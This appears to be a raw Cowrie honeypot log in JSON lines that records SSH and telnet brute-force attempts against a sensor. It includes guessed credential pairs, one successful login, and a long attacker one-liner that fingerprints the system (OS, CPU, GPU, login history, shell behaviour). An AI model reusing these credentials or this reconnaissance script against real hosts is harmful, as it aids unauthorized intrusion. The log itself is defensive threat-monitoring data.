{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:02.571651Z","src_ip":"209.99.190.113","session":"6acb83abc107","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"robin123","message":"login attempt [root/robin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:03.013502Z","src_ip":"209.99.190.113","session":"6acb83abc107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:04.118540Z","src_ip":"209.99.190.113","session":"6acb83abc107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.43.30","src_port":45140,"dst_ip":"10.17.0.5","dst_port":23,"session":"1591cc328a45","protocol":"telnet","message":"New connection: 94.154.43.30:45140 (10.17.0.5:23) [session: 1591cc328a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:04.996748Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":56858,"dst_ip":"159.203.135.109","dst_port":22,"session":"efadd22f0278","protocol":"ssh","message":"New connection: 160.187.174.22:56858 (159.203.135.109:22) [session: efadd22f0278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:11.813321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:11.818624Z","src_ip":"160.187.174.22","session":"efadd22f0278","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:12.065480Z","src_ip":"160.187.174.22","session":"efadd22f0278","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink123","message":"login attempt [flink/flink123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:12.821823Z","src_ip":"160.187.174.22","session":"efadd22f0278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:14.076905Z","src_ip":"160.187.174.22","session":"efadd22f0278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.11624240875244,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:27.157504Z","src_ip":"170.64.224.25","session":"3298b7ef7935","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682236194610596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:35.678821Z","src_ip":"94.154.43.30","session":"1591cc328a45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":41294,"dst_ip":"159.203.135.109","dst_port":22,"session":"26c004b325bc","protocol":"ssh","message":"New connection: 160.187.174.22:41294 (159.203.135.109:22) [session: 26c004b325bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:40.526484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:40.531186Z","src_ip":"160.187.174.22","session":"26c004b325bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60258,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e254d949cde","protocol":"telnet","message":"New connection: 170.64.224.25:60258 (159.203.135.109:23) [session: 1e254d949cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:40.536322Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:40.777029Z","src_ip":"160.187.174.22","session":"26c004b325bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:41.764723Z","src_ip":"160.187.174.22","session":"26c004b325bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:43.024558Z","src_ip":"160.187.174.22","session":"26c004b325bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.11915397644043,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:48.655307Z","src_ip":"170.64.224.25","session":"1e254d949cde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":54673,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa6c1d75f628","protocol":"ssh","message":"New connection: 178.20.210.208:54673 (159.203.135.109:22) [session: fa6c1d75f628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:55.703860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:55.806132Z","src_ip":"178.20.210.208","session":"fa6c1d75f628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:55.825101Z","src_ip":"178.20.210.208","session":"fa6c1d75f628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2WSX#EDC","message":"login attempt [root/1QAZ2WSX#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:56.523755Z","src_ip":"178.20.210.208","session":"fa6c1d75f628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":33014,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d6b0c9f7eb3","protocol":"ssh","message":"New connection: 91.92.40.4:33014 (10.17.0.5:22) [session: 2d6b0c9f7eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.223440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.231604Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.313038Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"321123","message":"login attempt [oracle/321123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.566775Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.625558Z","src_ip":"178.20.210.208","session":"fa6c1d75f628","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.787315Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.790521Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.793949Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.797164Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.799779Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.803150Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.806265Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.808863Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.811989Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.815861Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.819481Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.910916Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:57.996539Z","src_ip":"91.92.40.4","session":"2d6b0c9f7eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00343084335327,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:59.641549Z","src_ip":"170.64.224.25","session":"4471caedf6c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58494,"dst_ip":"159.203.135.109","dst_port":23,"session":"88d7d159b85e","protocol":"telnet","message":"New connection: 170.64.224.25:58494 (159.203.135.109:23) [session: 88d7d159b85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:06.501458Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":36378,"dst_ip":"159.203.135.109","dst_port":22,"session":"54639133c2ac","protocol":"ssh","message":"New connection: 160.187.174.22:36378 (159.203.135.109:22) [session: 54639133c2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:09.996873Z"}
